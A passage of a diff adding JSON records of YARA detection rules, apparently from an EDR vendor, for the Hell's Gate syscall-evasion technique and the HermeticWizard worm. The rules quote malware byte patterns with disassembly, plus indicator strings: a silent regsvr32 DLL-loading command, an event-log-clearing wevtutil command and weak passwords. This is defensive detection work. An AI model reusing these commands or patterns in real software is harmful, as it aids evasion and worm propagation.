+  "rule_technique_tags": [
+    "attack.t1053.003",
+    "attack.t1027",
+    "attack.t1573.001",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hellsgate_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563870Z",
+  "creation_date": "2026-03-23T11:46:25.563887Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563892Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf\nhttps://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/"
+  ],
+  "name": "hellsgate.yar",
+  "content": "rule hellsgate {\n    meta:\n        title = \"Hell's Gate Technique\"\n        id = \"548ea86e-c89c-43b5-b73d-1aa748959fc4\"\n        description = \"Detects the Hell's Gate Technique used to bypass user-mode hooking in EDRs.\\nHell's Gate is a technique designed to bypass user-mode hooking mechanisms employed by security tools like EDRs. It achieves this by utilizing direct syscalls to avoid detection by user-mode hooks. This technique allows malicious actors to execute code and communicate with command-and-control servers without being intercepted by traditional hooking mechanisms.\\nIt is recommended to analyze the process for potential malicious content, either within the binary itself or within the process' memory space.\"\n        references = \"https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf\\nhttps://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/\"\n        date = \"2023-06-30\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055\"\n        classification = \"Windows.Generic.HellsGate\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 0b39e3f681917ea74ea212ee263f03e80636d053e6024da4785238eb6edcc540\n        // 6fb8c0ceb16c7dc09a8a842cb07360c1619e8f787f69ab035c948c2d674bf1f2\n        // 2172ea7a87830a82d1608e0f795122900e094f9eab9291299c64cb24f6dfcc05\n        // 8c961f2e751ba13ae357f7a78e44d1e4ebd8965b7e97a61c150dc22ed29e5fc9\n        // 4ece1fdacc7a45007fd1b41686caab90853a47f4b43d25170dbf86d946943dff\n        // b2ec0322936623af316fe1c2d00373cf2c87b20bb93d221f533e9500bba4b39c\n\n        $ntdll1 = { 9B B8 A6 80 34 37 BD F5 } // NtAllocateVirtualMemory\n        $ntdll2 = { 5F 01 C5 88 B2 7D DC 64 } // NtCreateThreadEx\n        $ntdll3 = { 37 6A FB 46 10 CB 8B 85 } // NtProtectVirtualMemory\n        $ntdll4 = { CB 1B 55 4E 17 FA A2 C6 } // NtWaitForSingleObject\n\n        // djb2 Hashing\n        $djb2 = { 77 34 77 34 77 34 77 }\n\n        // https://github.com/am0nsec/HellsGate\n        $syscall1 = {\n                                                // sub_1400020B0   proc near\n            C7 05 ?? ?? ?? 00 00 00 00 00           // mov     cs:dword_140005000, 0\n            89 0D ?? ?? ?? 00                       // mov     cs:dword_140005000, ecx\n            C3                                      // retn\n                                                // sub_1400020B0   endp\n\n                                                // sub_1400020C1   proc near\n            4C 8B D1                                // mov     r10, rcx\n            8B 05 ?? ?? ?? 00                       // mov     eax, cs:dword_140005000\n            0F 05                                   // syscall\n            C3                                      // retn\n                                                // sub_1400020C1   endp\n        }\n\n        // https://github.com/trickster0/TartarusGate\n        $syscall2 = {\n                                                // sub_140002AD0   proc near\n            90                                      // nop\n            C7 05 ?? ?? ?? 00 00 00 00 00           // mov     cs:dword_140004010, 0\n            90                                      // nop\n            89 0D ?? ?? ?? 00                       // mov     cs:dword_140004010, ecx\n            90                                      // nop\n            C3                                      // retn\n                                                // sub_140002AD0   endp\n\n                                                // sub_140002AE4   proc near\n            90                                      // nop\n            48 8B C1                                // mov     rax, rcx\n            90                                      // nop\n            4C 8B D0                                // mov     r10, rax\n            90                                      // nop\n            8B 05 ?? ?? ?? 00                       // mov     eax, cs:dword_140004010\n            90                                      // nop\n            0F 05                                   // syscall                 ; Low latency system call\n            C3                                      // retn\n                                                // sub_140002AE4   endp\n        }\n\n        // https://github.com/Y3A/someredthings/tree/main/charons_ferry\n        $syscall3 = {\n                                                // sub_140001970   proc near\n            C7 05 ?? ?? ?? 00 00 00 00 00           // mov     cs:dword_140005000, 0\n            89 0D ?? ?? ?? 00                       // mov     cs:dword_140005000, ecx\n            C3                                      // retn\n                                                //sub_140001970   endp\n\n                                                // sub_140001981   proc near\n            48 C7 ?? ?? ?? 00 00 00 00 00 00        // mov     cs:qword_140005004, 0\n            48 89 ?? ?? ?? 00 00                    // mov     cs:qword_140005004, rcx\n            C3                                      // retn\n                                                // sub_140001981   endp\n\n                                                // sub_140001994   proc near\n            4C 8B D1                                // mov     r10, rcx\n            8B 05 ?? ?? ?? 00                       // mov     eax, cs:dword_140005000\n            FF 35 ?? ?? ?? 00                       // push    cs:qword_140005004\n            C3                                      // retn\n                                                //  sub_140001994   endp\n        }\n\n        // https://github.com/emredavut/RAVEN/\n        $syscall4 = {\n                                                // sub_140002AD0   proc near\n            48 33 D2                                // xor     rdx, rdx\n            8B D1                                   // mov     edx, ecx\n            83 E8 04                                // sub     eax, 4\n            C7 05 ?? ?? ?? 00 00 00 00 00           // mov     cs:dword_140004010, 0\n            83 C0 04                                // add     eax, 4\n            89 15 ?? ?? ?? 00                       // mov     cs:dword_140004010, edx\n            33 C0                                   // xor     eax, eax\n            C3                                      // retn\n                                                // sub_140002AD0   endp\n\n                                                // sub_140002AEE   proc near\n            48 83 C2 52                             // add     rdx, 52h\n            4C 8B D1                                // mov     r10, rcx\n            49 83 C1 1F                             // add     r9, 1Fh\n            8B 05 ?? ?? ?? 00                       // mov     eax, cs:dword_140004010\n            48 83 EA 52                             // sub     rdx, 52h\n            49 83 E9 1F                             // sub     r9, 1Fh\n            0F 05                                   // syscall\n            49 83 C2 03                             // add     r10, 3\n            49 83 EA 03                             // sub     r10, 3\n            C3                                      // retn\n                                                // sub_140002AEE   endp\n        }\n\n        // https://github.com/MalwareApiLib/MalwareApiLibrary\n        $syscall5 = {\n                                                // sub_140002AD0   proc near\n            C7 05 ?? ?? ?? 00 00 00 00 00            // mov     cs:dword_140004010, 0\n            89 0D ?? ?? ?? 00                        // mov     cs:dword_140004010, ecx\n            C3                                       // retn\n                                                // sub_140002AD0   endp\n\n                                                // sub_140002AE1   proc near\n            48 8B C1                                // mov     rax, rcx\n            4C 8B D0                                // mov     r10, rax\n            8B 05 ?? ?? ?? 00                       // mov     eax, cs:dword_140004010\n            0F 05                                   // syscall\n            C3                                      // retn\n                                                // sub_140002AE1   endp\n        }\n\n        $syscall_finder_1 = {\n            3C C3               // cmp     al, 0C3h\n            74 ??               // jz      short loc_140003448\n            3C 4C               // cmp     al, 4Ch ; 'L'\n            75 ??               // jnz     short loc_1400033B0\n            80 7A 01 8B         // cmp     byte ptr [rdx+1], 8Bh\n            75 ??               // jnz     short loc_1400033B0\n            80 7A 02 D1         // cmp     byte ptr [rdx+2], 0D1h\n            75 ??               // jnz     short loc_1400033B0\n            80 7A 03 B8         // cmp     byte ptr [rdx+3], 0B8h\n            75 ??               // jnz     short loc_1400033B0\n            80 7A 06 00         // cmp     byte ptr [rdx+6], 0\n            75 ??               // jnz     short loc_1400033B0\n            80 7A 07 00         // cmp     byte ptr [rdx+7], 0\n            75 ??               // jnz     short loc_1400033B0\n        }\n\n        $syscall_finder_2 = {\n            (80 F9 4C | 83 F8 4C | 3D 4C 00 00 00)     // cmp     eax, 4Ch ; 'L' |  cmp     cl, 0x4c\n            (0F 85 ?? ?? ?? ?? | 75 ??)                // jnz     loc_140011F2C | jne\n            [0-21]                                     // Move around variables\n            (3D 8B 00 00 00 | 42 80 7C ?? ?? 8B)       // cmp     eax, 8Bh  | cmp     byte [rax+r8+0x1], 0x8b\n            (0F 85 ?? ?? ?? ?? | 75 ??)                // jnz     loc_140011F2C | jne\n            [0-21]                                     // Move around variables\n            (3D D1 00 00 00 | 42 80 7C ?? ?? D1)       // cmp     eax, 0D1h  | cmp     byte [rax+r8+0x2], 0xd1\n            (0F 85 ?? ?? ?? ?? | 75 ??)                // jnz     loc_140011F2C | jne\n            [0-21]                                     // Move around variables\n            (3D B8 00 00 00 | 42 80 7C ?? ?? B8)       // cmp     eax, 0B8h  | cmp     byte [rax+r8+0x3], 0xb8\n            (0F 85 ?? ?? ?? ?? | 75 ??)                // jnz     loc_140011F2C | jne\n        }\n\n        // NEP2.dll Game Engine Protector\n        // 9716148baf2a1bdf3ec32a139edd26507ff1a8bd714fa4a70ff3f8bce4611762\n        $exclusion_nep2_1 = \"NEP_StartScan\" ascii fullword\n        $exclusion_nep2_2 = \"NEP2.dll\" ascii fullword\n        $exclusion_nep2_3 = \"\\\\\\\\.\\\\NEPKernel\" wide fullword\n        $exclusion_nep2_4 = \"StartEngineProtect\" wide fullword\n        $exclusion_nep2_5 = \"nepgameengineprotector\" wide\n\n    condition:\n        ((all of ($ntdll*) and $djb2) or 1 of ($syscall*) or 1 of ($syscall_finder_*)) and not all of ($exclusion_nep2_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hellsgate"
+  ],
+  "rule_creation_date": "2023-06-30",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.HellsGate"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hermetic_wizard_smb_spreader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574674Z",
+  "creation_date": "2026-03-23T11:46:25.574676Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574681Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/"
+  ],
+  "name": "hermetic_wizard_smb_spreader.yar",
+  "content": "rule hermetic_wizard_smb_spreader {\n    meta:\n        title = \"HermeticWizard Worm romance.dll\"\n        id = \"b1ae6529-fbc6-470c-a6e9-86f181cf28a5\"\n        description = \"Detects the HermeticWizard worm malware involved in Ukraine cyberattacks in February 2022.\\nHermeticWizard is a destructive malware known for its data wiping and system sabotage capabilities. It is primarily targeted at Ukrainian systems and operates by leveraging obfuscated code and specific propagation techniques.\\nIt is recommended to isolate the affected system and conduct a thorough investigation to prevent further damage.\"\n        references = \"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/\"\n        date = \"2022-03-14\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1485;attack.t1561.002;attack.lateral_movement;attack.t1570;attack.t1021.002\"\n        classification = \"Windows.Worm.HermeticWizard\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 5a300f72e221a228e3a36a043bef878b570529a7abc15559513ea07ae280bb48\n\n        $s1 = \"romance.dll\" ascii\n        $s2 = \"Hermetica Digital Ltd\" ascii\n        $s3 = \"cmd /c start regsvr32 /s /i ..\\\\\" ascii\n        $s4 = \"c%02X%02X%02X%02X%02X%02X\" wide\n        $s5 = \" & start cmd /c \\\"ping localhost -n 7 & wevtutil cl System\\\"\" ascii\n        $s6 = \"Qaz123\" wide\n        $s7 = \"Qwerty123\" wide\n        $s8 = \".dat\" ascii\n        $s9 = \"{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}\" wide\n        $s10 = \"IPC$\" ascii\n\n        $smb_propagate_function = {\n            68 ?? ?? ?? ??    // push offset \"IPC$\"\n            FF 76 04          // push dword ptr [esi + 4]        // hostname\n            68 ?? ?? ?? ??    // push offset \"\\\\\\\\%s\\\\%s\"\n            57                // push edi                        // buffer\n            E8 ?? ?? ?? ??    // call sprintf                    // sprintf(buffer, \"\\\\\\\\%s\\\\%s\", hostname, \"IPC$\");\n            A1 60 F0 04 10    // mov eax, dword ptr [0x1004f060]\n            8B CE             // mov ecx, esi\n            89 45 E0          // mov dword ptr [ebp - 0x20], eax\n            66 A1 64 F0 04 10 // mov ax, word ptr [0x1004f064]\n            66 89 45 E4       // mov word ptr [ebp - 0x1c], ax\n            8D 45 E0          // lea eax, [ebp - 0x20]\n            89 46 30          // mov dword ptr [esi + 0x30], eax\n            89 7E 2C          // mov dword ptr [esi + 0x2c], edi\n            E8 ?? ?? ?? ??    // call 0xXXXXXXXX\n            6A 12             // push 0x12\n            59                // pop ecx\n            3B C1             // cmp eax, ecx\n            B8 34 02 00 00    // mov eax, 0x234\n            57                // push edi\n            0F 44 C1          // cmove eax, ecx\n            89 45 E8          // mov dword ptr [ebp - 0x18], eax\n            E8 ?? ?? ?? ??    // call 0xXXXXXXXX\n            83 C4 14          // add esp, 0x14\n            33 C0             // xor eax, eax\n            89 46 2C          // mov dword ptr [esi + 0x2c], eax\n            89 46 30          // mov dword ptr [esi + 0x30], eax\n            6A 12             // push 0x12\n            5F                // pop edi\n            39 7D E8          // cmp dword ptr [ebp - 0x18], edi\n            0F 85 ?? ?? ?? ?? // jne 0xXXXXXX\n            B2 01             // mov dl, 1\n            8B CE             // mov ecx, esi\n            E8 ?? ?? ?? ??    // call 0xXXXXXXXX\n            3B C7             // cmp eax, edi\n            0F 85 ?? ?? ?? ?? // jne 0xXXXXXX\n            8B CE             // mov ecx, esi\n            E8 ?? ?? ?? ??    // call 0xXXXXXXXX\n            8B CE             // mov ecx, esi\n            8B F8             // mov edi, eax\n            E8 ?? ?? ?? ??    // call 0xXXXXXXXX\n            33 C0             // xor eax, eax\n            6A 12             // push 0x12\n            66 89 46 10       // mov word ptr [esi + 0x10], ax\n            58                // pop eax\n            3B F8             // cmp edi, eax\n            0F 85 ?? ?? ?? ?? // jne 0xXXXXXX\n            8D 45 FC          // lea eax, [ebp - 4]\n            50                // push eax\n            FF 75 F0          // push dword ptr [ebp - 0x10]\n            FF 75 F4          // push dword ptr [ebp - 0xc]\n            53                // push ebx\n            51                // push ecx\n            E8 ?? ?? ?? ??    // call 0xXXXXXXXX\n            83 C4 14          // add esp, 0x14\n            6A 12             // push 0x12\n            59                // pop ecx\n            3B C1             // cmp eax, ecx\n            0F 85 ?? ?? ?? ?? // jne 0xXXXXXX\n            8B 45 EC          // mov eax, dword ptr [ebp - 0x14]\n            83 C0 5A          // add eax, 0x5a\n            50                // push eax\n            6A 40             // push 0x40\n            FF 15 ?? ?? ?? ?? // call LocalAlloc\n            8B F0             // mov esi, eax\n            85 F6             // test esi, esi\n            74 ??             // je 0xXX\n            B9 20 EF 04 10    // mov ecx, 0x1004ef20\n            8B D6             // mov edx, esi\n            2B D1             // sub edx, ecx\n\n        }\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 500KB and all of ($s*) and $smb_propagate_function\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hermetic_wizard_smb_spreader"
+  ],
+  "rule_creation_date": "2022-03-14",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Worm.HermeticWizard"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1485",
+    "attack.t1570",
+    "attack.t1561.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hermetic_wizard_wmi_spreader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574705Z",
+  "creation_date": "2026-03-23T11:46:25.574707Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574712Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/"
+  ],
+  "name": "hermetic_wizard_wmi_spreader.yar",
+  "content": "rule hermetic_wizard_wmi_spreader {\n    meta:\n        title = \"HermeticWizard Worm exec_x32.dll\"\n        id = \"ec3e846d-9d19-4c4f-b290-cd0e9051e8ce\"\n        description = \"Detects the HermeticWizard worm malware involved in Ukraine cyberattacks in February 2022.\\nHermeticWizard is a destructive malware known for its data wiping and system sabotage capabilities. It is primarily targeted at Ukrainian systems and operates by leveraging obfuscated code and specific propagation techniques.\\nIt is recommended to isolate the affected system and conduct a thorough investigation to prevent further damage.\"\n        references = \"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/\"\n        date = \"2022-03-16\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1485;attack.t1561.002;attack.lateral_movement;attack.t1570;attack.t1021.006\"\n        classification = \"Windows.Worm.HermeticWizard\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 2d29f9ca1d9089ba0399661bb34ba2fd8aba117f04678cd71856d5894aa7150b\n\n        $s1 = \"exec_x32.dll\" ascii\n        $s2 = \"Hermetica Digital Ltd\" ascii\n\n        $inlined_string_win32_process = {\n            6A 57                // push 0x57\n            58                   // pop eax\n            6A 69                // push 0x69\n            66 89 85 6C FF FF FF // mov word ptr [ebp - 0x94], ax\n            58                   // pop eax\n            6A 6E                // push 0x6e\n            66 89 85 6E FF FF FF // mov word ptr [ebp - 0x92], ax\n            58                   // pop eax\n            6A 33                // push 0x33\n            66 89 85 70 FF FF FF // mov word ptr [ebp - 0x90], ax\n            58                   // pop eax\n            6A 32                // push 0x32\n            66 89 85 72 FF FF FF // mov word ptr [ebp - 0x8e], ax\n            58                   // pop eax\n            6A 5F                // push 0x5f\n            66 89 85 74 FF FF FF // mov word ptr [ebp - 0x8c], ax\n            58                   // pop eax\n            6A 50                // push 0x50\n            66 89 85 76 FF FF FF // mov word ptr [ebp - 0x8a], ax\n            58                   // pop eax\n            6A 72                // push 0x72\n            5A                   // pop edx\n            6A 6F                // push 0x6f\n            59                   // pop ecx\n            6A 63                // push 0x63\n            66 89 85 78 FF FF FF // mov word ptr [ebp - 0x88], ax\n            58                   // pop eax\n            6A 65                // push 0x65\n            66 89 85 7E FF FF FF // mov word ptr [ebp - 0x82], ax\n            58                   // pop eax\n            66 89 45 80          // mov word ptr [ebp - 0x80], ax\n            6A 73                // push 0x73\n            58                   // pop eax\n            66 89 45 82          // mov word ptr [ebp - 0x7e], ax\n            66 89 45 84          // mov word ptr [ebp - 0x7c], ax\n            33 C0                // xor eax, eax\n            66 89 45 86          // mov word ptr [ebp - 0x7a], ax\n            8D 85 6C FF FF FF    // lea eax, [ebp - 0x94]\n            50                   // push eax\n            66 89 95 7A FF FF FF // mov word ptr [ebp - 0x86], dx\n            66 89 8D 7C FF FF FF // mov word ptr [ebp - 0x84], cx\n            FF 15 ?? ?? ?? ??    // call SysAllocString           // SysAllocString(\"Win32_Process\")\n        }\n\n        $inlined_string_create = {\n            6A 43             // push 0x43\n            58                // pop eax\n            6A 72             // push 0x72\n            66 89 45 B8       // mov word ptr [ebp - 0x48], ax\n            58                // pop eax\n            6A 65             // push 0x65\n            66 89 45 BA       // mov word ptr [ebp - 0x46], ax\n            58                // pop eax\n            6A 61             // push 0x61\n            59                // pop ecx\n            66 89 45 BC       // mov word ptr [ebp - 0x44], ax\n            66 89 45 C2       // mov word ptr [ebp - 0x3e], ax\n            33 C0             // xor eax, eax\n            6A 74             // push 0x74\n            66 89 4D BE       // mov word ptr [ebp - 0x42], cx\n            59                // pop ecx\n            66 89 45 C4       // mov word ptr [ebp - 0x3c], ax\n            8D 45 B8          // lea eax, [ebp - 0x48]\n            50                // push eax\n            66 89 4D C0       // mov word ptr [ebp - 0x40], cx\n            FF 15 ?? ?? ?? ?? // call SysAllocString           // SysAllocString(\"Create\")\n        }\n\n        // \"C:\\\\Windows\\\\system32\\\\cmd.exe /c start C:\\\\Windows\\\\system32\\\\regsvr32.exe /s /i C:\\\\Windows\\\\%s.dll\"\n        $inlined_string_propagation = {\n            59                   // pop ecx\n            6A 6D                // push 0x6d\n            58                   // pop eax\n            6A 33                // push 0x33\n            66 89 85 F2 FE FF FF // mov word ptr [ebp - 0x10e], ax\n            58                   // pop eax\n            6A 32                // push 0x32\n            66 89 85 F4 FE FF FF // mov word ptr [ebp - 0x10c], ax\n            58                   // pop eax\n            6A 72                // push 0x72\n            66 89 95 D6 FE FF FF // mov word ptr [ebp - 0x12a], dx\n            66 89 95 E6 FE FF FF // mov word ptr [ebp - 0x11a], dx\n            66 89 95 F8 FE FF FF // mov word ptr [ebp - 0x108], dx\n            5A                   // pop edx\n            6A 67                // push 0x67\n            66 89 85 F6 FE FF FF // mov word ptr [ebp - 0x10a], ax\n            58                   // pop eax\n            6A 73                // push 0x73\n            66 89 85 FE FE FF FF // mov word ptr [ebp - 0x102], ax\n            58                   // pop eax\n            6A 76                // push 0x76\n            66 89 85 00 FF FF FF // mov word ptr [ebp - 0x100], ax\n            58                   // pop eax\n            66 89 8D F0 FE FF FF // mov word ptr [ebp - 0x110], cx\n            66 89 95 FA FE FF FF // mov word ptr [ebp - 0x106], dx\n            66 89 8D FC FE FF FF // mov word ptr [ebp - 0x104], cx\n            66 89 85 02 FF FF FF // mov word ptr [ebp - 0xfe], ax\n            6A 33                // push 0x33\n            58                   // pop eax\n            6A 32                // push 0x32\n            66 89 85 06 FF FF FF // mov word ptr [ebp - 0xfa], ax\n            58                   // pop eax\n            6A 2E                // push 0x2e\n            66 89 85 08 FF FF FF // mov word ptr [ebp - 0xf8], ax\n            58                   // pop eax\n            6A 78                // push 0x78\n            66 89 85 0A FF FF FF // mov word ptr [ebp - 0xf6], ax\n            66 89 8D 0C FF FF FF // mov word ptr [ebp - 0xf4], cx\n            59                   // pop ecx\n            6A 65                // push 0x65\n            58                   // pop eax\n            6A 20                // push 0x20\n            66 89 85 10 FF FF FF // mov word ptr [ebp - 0xf0], ax\n            58                   // pop eax\n            6A 2F                // push 0x2f\n            66 89 95 04 FF FF FF // mov word ptr [ebp - 0xfc], dx\n            5A                   // pop edx\n            6A 73                // push 0x73\n            66 89 85 12 FF FF FF // mov word ptr [ebp - 0xee], ax\n            66 89 85 18 FF FF FF // mov word ptr [ebp - 0xe8], ax\n            66 89 85 1E FF FF FF // mov word ptr [ebp - 0xe2], ax\n            66 89 8D 0E FF FF FF // mov word ptr [ebp - 0xf2], cx\n            59                   // pop ecx\n            6A 69                // push 0x69\n            66 89 95 14 FF FF FF // mov word ptr [ebp - 0xec], dx\n            66 89 95 1A FF FF FF // mov word ptr [ebp - 0xe6], dx\n            5A                   // pop edx\n            6A 43                // push 0x43\n            58                   // pop eax\n            6A 3A                // push 0x3a\n            66 89 85 20 FF FF FF // mov word ptr [ebp - 0xe0], ax\n            58                   // pop eax\n            6A 5C                // push 0x5c\n            66 89 85 22 FF FF FF // mov word ptr [ebp - 0xde], ax\n            66 89 95 1C FF FF FF // mov word ptr [ebp - 0xe4], dx\n            5A                   // pop edx\n            6A 57                // push 0x57\n            58                   // pop eax\n            6A 69                // push 0x69\n            66 89 85 26 FF FF FF // mov word ptr [ebp - 0xda], ax\n            58                   // pop eax\n            6A 6E                // push 0x6e\n            66 89 85 28 FF FF FF // mov word ptr [ebp - 0xd8], ax\n            58                   // pop eax\n            6A 64                // push 0x64\n            66 89 85 2A FF FF FF // mov word ptr [ebp - 0xd6], ax\n            58                   // pop eax\n            6A 6F                // push 0x6f\n            66 89 85 2C FF FF FF // mov word ptr [ebp - 0xd4], ax\n            58                   // pop eax\n            6A 77                // push 0x77\n            66 89 85 2E FF FF FF // mov word ptr [ebp - 0xd2], ax\n            58                   // pop eax\n            6A 25                // push 0x25\n            66 89 85 30 FF FF FF // mov word ptr [ebp - 0xd0], ax\n            58                   // pop eax\n            6A 2E                // push 0x2e\n            66 89 85 36 FF FF FF // mov word ptr [ebp - 0xca], ax\n            58                   // pop eax\n            6A 64                // push 0x64\n            66 89 85 3A FF FF FF // mov word ptr [ebp - 0xc6], ax\n            58                   // pop eax\n            66 89 85 3C FF FF FF // mov word ptr [ebp - 0xc4], ax\n            6A 6C                // push 0x6c\n        }\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 200KB and all of ($s*) and 2 of ($inlined_string_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hermetic_wizard_wmi_spreader"
+  ],
+  "rule_creation_date": "2022-03-16",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Worm.HermeticWizard"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.006",
+    "attack.t1485",
+    "attack.t1570",
+    "attack.t1561.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hermetic_wizard_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569153Z",
+  "creation_date": "2026-03-23T11:46:25.569155Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569160Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/"
+  ],
+  "name": "hermetic_wizard.yar",
